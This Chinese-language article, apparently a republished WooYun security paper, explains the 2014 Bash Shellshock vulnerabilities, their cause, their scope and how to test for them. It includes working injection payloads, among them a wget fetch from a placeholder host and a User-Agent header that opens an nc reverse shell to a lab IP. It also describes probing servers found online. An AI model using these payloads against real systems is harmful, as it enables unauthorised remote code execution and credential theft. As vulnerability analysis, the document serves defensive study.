<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/3268

            enter image description here

            0x00 漏洞概述


            很多人或許對2014上半年發生的安全問題“心臟流血”(Heartbleed Bug)事件記憶頗深,2014年9月,又出現了另外一個“毀滅級”的漏洞——Bash軟件安全漏洞。這個漏洞由法國GNU/Linux愛好者Stéphane Chazelas所發現。隨后,美國電腦應急響應中心(US-CERT)、紅帽以及多家從事安全的公司于周三(北京時間2014年9月24日)發出警告。

            關于這個安全漏洞的細節可參看:CVE-2014-6271 和 CVE-2014-7169。

            漏洞概況信息如下:

            漏洞英文名稱  Bash Shellshock
            中文命名    破殼(X-CERT)
            威脅響應等級  A級
            漏洞相關CVE編號   CVE-2014-6271
            漏洞發現者   Stéphane Chazelas(法國)
            漏洞發現事件  2014年9月中旬
            漏洞公布時間  9月25日
            漏洞影響對象  bash 1.14至bash 4.3的Linux/Unix系統 
            

            2014年9月,UNIX、Linux系統中廣泛使用的Bash軟件被曝出了一系列、已經存在數十年的漏洞(Bash或Shellshock),在業界引起了非常大的影響。

            最初的bug已經修復了,但引發了人們對Bash的解析程序可能產生0day漏洞的關切,隨后又挖掘出了第二個漏洞CVE-2014-7169,這個漏洞也在很快得到了修復。

            不少Linux發行版本連夜發布了修復版本的Bash,在服務器領域占有不少份額的大多數FreeBSD 和NetBSD已經默認關閉了自動導入函數的功能,以應對未來可能出現的漏洞。

            在這個漏洞的風波逐漸平息之余,不少業內人士也在思考,它為何波及如此之廣,影響如此之大。

            InfoWorld的專欄作者Andrew C. Oliver在一篇文章中表達了自己看法,他認為CGI技術的普及是個錯誤,正是因為CGI技術的不合理之處,Shellshock才有機可乘。

            CGI技術是Web技術剛興起的時候發明的,它是最早的可以創建動態網頁內容的技術之一。它會把一個HTTP請求轉化為一次shell調用。

            而Shellshock的原理是利用了Bash在導入環境變量函數時候的漏洞,啟動Bash的時候,它不但會導入這個函數,而且也會把函數定義后面的命令執行。在有些CGI腳本的設計中,數據是通過環境變量來傳遞的,這樣就給了數據提供者利用Shellshock漏洞的機會。

            0.1 Bash介紹

            Bourne Again Shell(簡稱BASH)是在GNU/Linux上最流行的SHELL實現,于1980年誕生,經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和GNU系統深度整合的多功能接口。

            根據維基百科的描述:Bash,Unix shell的一種。1989年發布第一個正式版本,原先是計劃用在GNU操作系統上,但能運行于大多數類Unix系統的操作系統之上,包括Linux與Mac OS X v10.4都將它作為默認shell。它也被移植到Microsoft Windows上的Cygwin與MinGW,或是可以在MS-DOS上使用的DJGPP項目。在Novell NetWare與Android上也有移植。

            0.2 CGI技術與腳本解析

            CGI (Common Gateway Interface),是一種基于瀏覽器的輸入,在Web服務器上運行程序的方法。

            CGI腳本讓瀏覽器與用戶產生交互,例如,信息評論,表單選擇,數據庫查詢。

            作為網頁設計者,通常創建客戶端的 CGI腳本,服務器端的程序用來處理用戶輸入,結果返回給用戶。

            后臺處理程序不僅僅可以用PHP、Python、Perl等腳本來接受請求、解釋執行、響應客戶端,當然還可以用Bash腳本來解釋執行用戶提交的GET或POST請求。

            0.3 Bash漏洞與遠程執行

            洞利用一般分為本地利用和遠程執行利用。

            該漏洞爆出后,一些研究人員最初認為該漏洞只是本地漏洞,所以無法很好地利用。

            隨著研究的深入,研究發現其實它可以進行遠程利用。2014年9月24日Bash被公布存在遠程代碼執行漏洞。

            Bash漏洞其實是非常經典的“注入式攻擊”,也就是可以向 bash注入一段命令,從bash1.14 到4.3都存在這樣的漏洞。

            由于Bash存儲遠程執行漏洞,所以,理論上,可以在HTTP請求中注入一個Bash命令,進行遠程執行,比如:

            #!bash
            () { :;}; wget http://www.XXX.com/testvul.sh
            

            對于利用Bash腳本處理用戶請求的網站,攻擊者可以精心偽造數據,通過網絡傳到一臺服務器上,直接或間接觸發一個bash腳本,這樣就可以遠程執行惡意代碼。

            由于Bash是一個被廣泛集成的軟件,幾乎所有的系統都在運行,從Rapsberry Pis到手機,再到數據中心的服務器以及大型機等。

            由于自動導入函數的功能至少從Bash 3.0開始就存在了,所以這個bug有可能在大多數系統中存在近20年了。

            由于Apache服務器中使用mod_cgi(不包括mod_phpmod_python)運行腳本的時候,數據是通過環境變量來傳遞的,這可以算是互聯網領域最古老的一些技術了。

            其他一些客戶端也會受到影響——比如Linux的DHCP客戶端——它大量運用Bash腳本來使修改生效,這也使黑客能通過在DHCP數據包中加入惡意數據來達到攻擊的目的。

            鑒于Bash是大多數Linux系統(以及OSX)上默認的shell,這個漏洞就意味著,把有害數據編入環境變量,傳到服務器端,觸發服務器運行Bash腳本,就完成了攻擊(passing an poisoned environment variable through to a server running a CGI script could trivially be compromised)。

            舉個例子,HTTP協議的頭User-Agent通常是通過環境變量HTTP_USER_AGENT來傳遞的,這意味使用以下命令就可以測試這個漏洞了:

            #!bash
            curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgi
            

            對于不傳遞User-Agent的服務器來說,常常還有其他受攻擊的可能——比如CookieReferer或者請求本身。 另外,這個bug不僅僅影響CGI腳本和Apache——如果其他程序也收到并傳遞了有害的環境變量(比如ssh服務會接收TERM或DISPLAY環境變量),然后這些進程再運行一個Bash腳本(或通過system()調用來執行),同樣的漏洞也會被利用。

            和HTTP不同,SSH一般不允許匿名請求——觸發這個漏洞之前必須要登錄——但是代碼托管服務商們卻允許匿名登錄(哪怕只登錄到一個權限受限的shell),所以為了防止入侵,GitHub更新了他們的企業級產品,Bitbucket也更新了他們的服務器。

            由于Bash漏洞能夠遠程執行,所以會產生像struts2等漏洞利用一樣的效果,對攻擊者而言,通常就是“拿站或拿服務器”,再去執行其他操作。

            下面引用一張圖,做個簡單的形象說明。

            enter image description here

            0x01 漏洞原因分析


            漏洞信息最早來源于國外知名漏洞網站exploit-db下的第34765篇漏洞報告,其中出現了一條驗證命令:

            #!bash
            env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
            

            如果在一個含有版本號小于bash 4.3的linux或者unix系統,本地執行以上命令,可能會得到以下輸出:

            #!bash
            Vulnerable this is a test
            

            其中如果出現第一行vulnerable則說明該系統存在一個由bash程序缺陷導致的任意命令執行漏洞。

            Windows Cygwin Terminal本地執行結果如下:

            enter image description here

            Kali 1.0.9-i386本地執行結果如下:

            enter image description here

            CVE-2014-6271中的bug修復后,問題馬上就解決了,大多數廠商都及時提供了修復后的Bash版本。面向互聯網的服務器沒有理由不馬上修復它,因為這個漏洞會使主機完全落入別人的控制(以Apache所使用的用戶身份)中。 但是,大家的目光已經聚焦在這個領域,新的bug被發現了。同時使用Bash的shell重定向功能和函數自動導入功能,CVE-2014-7169出現了。這回導致的結果是可以隨意讀寫遠程機器上的文件,使用的手段和上次一樣,只不過這次是利用了shell的重定向符號<或>。

            #!bash
            env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo
            

            這次解析器先停在=號上(由于(a)=不是一個有效的Bash表達式),但至關重要的是把<號留在了解析管道中。接下來的轉義符\會使解析器在重定向命令之間插入一些空格(但無關緊要),最終導致了后面的命令變成了一條重定向命令:

            #!bash
            >echo data
            

            這是一條有效的Bash命令,語義上它等價于下面這種更常見的形式:

            #!bash
            date >echo
            

            注意,另外一個重定向符號<在這里也是有效的,它可以把輸入重定向到文件。 所以這個bug也被修復了。

            當然,有能力設置任何環境變量,可以使攻擊者控制一切東西——修改IFS環境變量(過去被利用過的一個漏洞),甚至修改PATH環境變量,會影響新啟動的shell腳本的行為,無論如何這些手段都會導致問題。但至少前面提到的SSH和CGI攻擊中,涉及的環境變量要么是有限幾個(TERM、DISPLAY等),要么是以某個前綴(HTTP_USER_AGENT、HTTP_REFERRER)開頭的。所以除了前綴名所代表的程序外,其他的程序受影響有限。

            有些人預計Bash自動導入函數的功能還存在安全漏洞,擔心未來還會有bug曝出。NetBSD在Bash中默認關閉了自動導入函數的功能,FreeBSD也這么做了,轉而以新增選項( --import-functions)的方式提供這個功能。

            1.1 正常執行過程分析

            我們先來看一下這個安全問題的癥狀。這個問題的發生是因為Bash的一個功能,它允許在Bash的shell中使用環境變量來定義函數。函數的作用是把經常調用的代碼封裝起來,然后在其他地方復用,所有的shell腳本語言都有這個功能。Bash中函數的定義是這樣的(大多數其他shell也是):

            #!bash
            function hello {
             echo "Hello"
            }
            hello    # 調用這個函數
            

            但是,Bash還有一種使用環境變量來定義函數的方法,這是它獨有的。

            如果環境變量的值以字符“() {”開頭,那么這個變量就會被當作是一個導入函數的定義(Export),這種定義只有在shell啟動的時候才生效。

            #!bash
            $ export HELLO="() { echo 'Hello'; }"
            $ HELLO
            -bash: HELLO: command not found
            $ bash
            $ HELLO
            Hello
            

            上述語句在Cygwin Terminal環境下的測試結果如下。

            enter image description here

            使用下面語句定義后,查看環境變量,可以發現剛才定義的值

            #!bash
            export X='() { echo "inside X"; }; echo "outside X";'
            

            enter image description here

            下面對Bash獨特的定義方式進行測試,因為這種獨特的方法只會在shell啟動的時候生效,所以大多數用來演示這個漏洞的示例代碼都只有一行:

            #!bash
            env HELLO="() { echo 'Hello'; }" bash -c HELLO
            

            這行代碼的作用跟下面分步執行的語句,在效果上是一樣的。

            enter image description here

            env命令代表“先設置下面的環境變量,再運行下面的程序”,并且執行完成后當前的環境變量不受影響。實際上,直接寫成

            #!bash
            env HELLO="() { echo 'Hello'; }" bash -c HELLO
            

            也可以。

            bash命令指定了-c選項是為了啟動bash時就執行HELLO函數,這里必須新起一個bash,因為只有bash啟動的時候才會去解析函數的定義。

            正常的函數定義和執行如下

            #!bash
            env HELLO="() { echo 'Hello'; }" bash -c HELLO
            

            enter image description here

            1.2 異常執行過程分析

            通過上述對bash 執行過程分析,可知bash在處理含有函數定義諸如"() { :; }"的環境變量賦值的代碼上存在設計缺陷,錯誤地將函數定義后面的字符串作為命令執行。

            所以真正的利用與env命令無關,只要設法讓系統接受一個含有"[函數定義]+[任意命令]"的環境變量賦值則可觸發" [任意命令] "部分所表示的代碼執行。

            惡意命令被添加在合法環境變量之后,Bash會首先運行惡意命令,異常執行結構圖示如下:

            enter image description here

            Shellshock command diagram (Symantec)

            異常方式,如果注入如下代碼(需要注意的是此例中函數定義使用的是單引號,函數體內容為空,函數體后有echo語句)。

            #!bash
            env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
            

            上述輸入向環境變量中注入了一段代碼 echo Bash is vulnerable。

            打個比方,本來正常要執行的是“牛A”和“牛C”,結果中間的“牛B”被執行了

            enter image description here

            Bash漏洞在于函數體外面的代碼被默認地執行了,執行結果如下所示。

            enter image description here

            問題出現在bash解析完函數定義,執行函數的時候,它自動導入函數的解析器越過了函數定義的結尾,接著執行后面的代碼,并且由于每一個新的bash啟動時都會觸發這個漏洞,相當于任意代碼都能被執行了。

            有漏洞的系統還會把“Bash is vulnerable”打出來,在修復后的系統中,上面命令的結果應該只打印“Hello”,而不會執行其他的語句。

            1.3 源碼級分析

            由于網上已經有相關分析文章,具體請參考如下鏈接:

            期待更多大神級源碼深入分析。

            0x02 影響范圍分析


            對于存在Bash漏洞系統而言,由于它允許未經授權的遠程用戶可以指定Bash環境變量,那么運行這些服務或應用程序的系統,就存在漏洞被利用的可能。

            只要是能通過某種手段為bash傳遞環境變量的程序都受此影響。當然最典型的的就是bash寫的CGI程序了,客戶端通過在請求字符串里加入構造的值,就可以輕松攻擊運行CGI的服務器。

            目前大多數的網站很少用CGI了,所以問題不算太大。但是有很多的網絡設備,如路由器、交換機等都使用了Perl或者其他語言編寫的CGI程序,只要是底層調用了bash,那么就愛存在風險。

            任何已知程序,只要滿足以下兩個條件就可以被用來通過bash漏洞導致任意命令執行:

            1、程序在某一時刻使用bash作為腳本解釋器處理環境變量賦值; 2、環境變量賦值字符串的提交取決于用戶輸入。

            目前,可能被利用的系統包括:

            0x03 漏洞驗證測試


            3.1 不同工具測試比較

            不同工具測試同一地址。

            工具1 利用Crow Strike ShellShock Scanner測試Bash漏洞,該工具可以批量掃描,測試某網站結果如下:

            enter image description here

            為了分析該工具的測試字符,利用Wireshark抓包,發現該工具主要測試了3個字段Test、Cookie、Referer,抓包結果如下:

            enter image description here

            工具2

            enter image description here

            工具3

            enter image description here

            3.2 本地測試

            enter image description here

            本地構造不同的POC,進行Bash漏洞測試,如果我們打開Cygwin Terminal,使用不同的測試用例,進行測試,在Cygwin Terminal下的測試結果如下:

            enter image description here

            3.3 遠程測試

            選取網上搜索到的目標,對其進行Bash漏洞測試,使用工具curl。

            測試命令如下:

            #!bash
            curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"'  http://XXX:8080/cgi-bin/XXX.cgi
            

            測試截圖如下:

            enter image description here

            在http協議中構造RefererCookieUser-Agent字段命令,使用Burpsuit,發送到存在Bash漏洞的服務器,會返回3個Vul字符,說明3個字段傳遞的參數都被服務器后端腳本解析處理,測試結果如下:

            enter image description here

            構造其他Poc,獲取服務器用戶名和密碼。

            enter image description here

            0x04 漏洞利用測試


            在本地搭建有Bash漏洞的服務器,利用瀏覽器訪問CGI頁面,顯示正常訪問。

            enter image description here

            用Burpsuit進行攔截,初始時intercept is off

            enter image description here

            用Burpsuit進行攔截,打開intercept is on

            enter image description here

            修改http協議中的User-Agent字段為

            #!bash
            () { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"
            

            enter image description here

            發送http請求后,nc反彈,可以查看用戶名、目錄、系統版本等信息。

            enter image description here

            0x05 參考文獻


            1) http://www.freebuf.com/vuls/44994.html

            2) http://www.freebuf.com/news/44768.html

            3) http://www.freebuf.com/news/45436.html

            4) http://blog.csdn.net/u011721501/article/details/39558303

            5) http://www.srxh1314.com/bash-cgi-bin.html

            6) http://www.linuxidc.com/Linux/2014-09/107250.htm

            7) http://www.freebuf.com/tools/45311.html

            8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability- overview-info/

            9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high- risk.html

            10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0

            11) http://blog.cloudflare.com/inside-shellshock/

            12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/

            13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock- holes-found

            14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx

            15) http://www.antiy.com/response/CVE-2014-6271.html

            16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Systems.html

            17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

            18) http://blog.csdn.net/delphiwcdj/article/details/18048757

            19) http://drops.wooyun.org/papers/3064

            20) http://fish.ijinshan.com/cgibincheck/check

            21) https://access.redhat.com/articles/1200223

            22) http://www.antiy.com/response/CVE-2014-6271.html

            23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html

            24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html

            25) http://mashable.com/2014/09/26/what-is-shellshock/

            26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9

            27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0

            28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1

            29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring- internet/

            30) http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it- insecure

            31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock

            32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes

            33) http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability

            34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/

            35) http://coolshell.cn/articles/11973.html

            36) http://www.infoq.com/cn/news/2014/10/shellshock

            37) http://www.infoq.com/news/2014/09/shellshock

            38) http://www.freebuf.com/articles/web/45520.html

            39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html

            40) http://mobile.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod- networks.aspx

            41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html

            42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/

            43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html

            44) http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html

            45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the- shellshock-bash-vulnerability

            46) https://github.com/gry/shellshock-scanner

            47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/

            48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under- attack

            49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect- shellshock-vulnerability

            50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html

            51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

            52) http://milankragujevic.com/projects/shellshock/

            53) http://milankragujevic.com/post/64

            54) http://breizh-entropy.org/~nameless/random/posts/shellshock_shits_got_real/

            55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/

            56) https://github.com/gry/shellshock-scanner

            57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/

            58) http://businessinsights.bitdefender.com/shellshock-bashbug

            59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock- vulnerability.html

            60) http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html

            61) https://shellshocker.net/

            62) https://github.com/mubix/shellshocker-pocs

            63) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

            64) http://www.freebuf.com/articles/system/45390.html

            65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

            66) http://it.deepinmind.com/%E5%85%B6%E5%AE%83/2014/09/26/everything-you-need-to-know-about- shellshock.html

            67) http://www.securitysift.com/the-search-for-shellshock/

            68) http://blog.cloudflare.com/inside-shellshock/

            69) http://blog.regehr.org/archives/1187

            70) https://github.com/mubix/shellshocker-pocs

            71) http://pastebin.com/mG1grQwK

            72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线